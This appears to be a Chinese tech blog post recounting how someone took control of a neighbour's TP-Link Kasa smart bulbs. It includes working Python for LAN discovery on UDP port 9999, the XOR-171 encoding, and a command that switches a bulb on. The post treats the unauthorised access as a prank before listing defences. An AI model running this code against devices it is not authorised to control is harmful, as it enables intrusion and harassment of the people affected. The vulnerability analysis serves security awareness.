“我让邻居的灯泡闪了两天。”
——某位技术爱好者的灵魂发言
我有一个朋友,某天突发奇想:能不能用脚本控制邻居家的智能灯泡?乍一听像是都市传说,直到他真的动手做了……
在真实的网络环境中,只要智能设备默认暴露在局域网、没有认证机制,再加上使用明文或弱加密协议,这样的“黑科技恶作剧”完全有可能上演。
他的整个经历让我很感兴趣,我也整理了他的操作流程、通信协议解析,并从网络安全角度进行了复盘和分析。
🧪 一、设备扫描:他是怎么找到邻居的灯泡的?
朋友一边喝着茶一边嘀咕:邻居家的灯泡也太亮了,大晚上的也太刺眼了?
于是他打开电脑,开始搞事情。
第一步,他用 UDP 广播消息在局域网里扔了个“问卷”——有灯泡的设备都会“举手”回应。只要你监听 9999 端口,发出一条类似 get_sysinfo
的消息,就能筛出网络中响应的设备。
而他的目标是:能听懂 Kasa 协议的设备,也就是 TP-Link 家的智能灯。
找到回应之后,他用 Wireshark 看了看回应内容,发现这些设备毫无防备、诚实回应,连设备名称和型号都主动报上来了……属实有点“太讲武德”。
示例代码:UDP 扫描
import socket
def discover():
msg = b'{"system":{"get_sysinfo":{}}}'
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
sock.sendto(msg, ('<broadcast>', 9999))
当然,Kasa 的协议实际是 XOR 编码后的 JSON,我们后续还会讲到这一点。
📡 二、协议逆向:Kasa 的“一本正经的加密术”
朋友接着分析这些回应消息的内容,发现居然不是明文 JSON,而是一堆看起来像乱码的字节流。于是他皱了皱眉,开始对这个“假装安全”的协议动手了。
结果一分析,顿时笑出声:这哪是加密?这明明是“写给安全工程师的心理安慰包”。
Kasa 的通信协议用了一个单字节的 XOR 加密,初始 key 是 171,每个字符跟 key 异或一下,然后 key 自己更新为这个字符的异或结果……就这么点事。
朋友大概用不到五分钟就写了个加解密函数,成功还原了这些“加密数据”里的原始 JSON 命令。
通俗讲就是“你戳我一下,我就反手一个字节”。初始 key 是 171,每来一个字符异或一下,然后 key 自己更新,就这样混过去了。
加密函数如下:
def encrypt(string):
key = 171
result = b''
for char in string:
a = key ^ ord(char)
key = a
result += bytes([a])
return result
协议中传送的 JSON 长得像这样:
{
"system": {
"set_relay_state": {
"state": 1
}
}
}
翻译成人话:灯泡,给我亮起来。
💡 三、点亮灯泡:一发数据包,邻居家变舞厅
朋友把解密出来的 JSON 再加密回去,打包成 UDP 数据包后朝灯泡的 IP 一扔,事情就发生了。
原本平平无奇的一台智能灯泡,瞬间变成了他指挥下的“小跟班”。他手里握着控制命令,灯泡想亮就亮,想灭就灭——堪比法术控制。
他还试过多台一起闪:一个简单的循环控制程序,邻居卧室直接变成了“小型蹦迪房”。
当然他最后还是手下留情,没有做太出格的事……主要是怕对面报警。
示例代码:开灯
import socket
def encrypt(string):
key = 171
result = b''
for char in string:
a = key ^ ord(char)
key = a
result += bytes([a])
return result
payload = '{"system":{"set_relay_state":{"state":1}}}'
data = encrypt(payload)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(data, ("192.168.0.105", 9999))
几行 Python 写完,朋友盯着屏幕一摁回车——Boom,隔壁房间瞬间亮了。
而我:……最让人震惊的是:没有认证、没有绑定,甚至不需要连接蓝牙。
🚨 四、安全问题盘点:你以为是段子,其实是漏洞合集
故事看到这里,是不是觉得这位朋友有点“黑客天赋”?但其实他最应该去的不是 DEFCON,而是安全培训班。
因为他说:“我只是用了点广播,发了个包,灯就亮了。”
对,就是这么简单。但问题就也在这。
这段“恶作剧”暴露出了智能设备设计中那些让人抓狂的安全漏洞:认证、加密、通信方式,几乎是能踩的雷一个没落下。
问题 | 说明 |
---|---|
无认证机制 | 没有身份校验,任何人都可以发送命令 |
XOR加密过于简单 | 极易逆向,无法防御基本嗅探 |
UDP 广播无连接 | 无握手、无认证、易被欺骗 |
用户缺乏安全意识 | 默认设置未修改,暴露攻击面 |
🧰 五、防护建议:如何避免被“邻居技术达人”盯上
听完这故事,你可能也会下意识地回头看看自己家的灯泡是不是也在“裸奔”。别急,朋友踩过的坑,我们可以提前绕开。
说到底,这种“脚本就能控灯”的场面本质上是安全配置缺失的锅。
不妨看看这些建议,能救你一命,也能救你的电灯泡:
- 为智能设备配置独立 VLAN:路由器划分网络,避免不同设备互访
- 关闭本地 API 或开启身份验证:开启云端认证,不允许 LAN 控制
- 定期升级固件:厂商常通过更新修补漏洞
- 用
nmap
检查开放端口:养成定期审计家庭网络习惯
📚 六、段子背后,其实是现实的安全提醒
这朋友事后感慨说:“其实我也没啥技术含量,就是顺着协议撸了个包,结果就能当神灯主人了。”
听着是挺好笑的,可真要换成陌生人对你家来这么一套,那就一点都不好笑了。
物联网设备的安全,真的不是高不可攀的技术门槛,而是“默认安全”这个基本要求的缺席。
把段子当警钟,才是真正的技术人觉悟。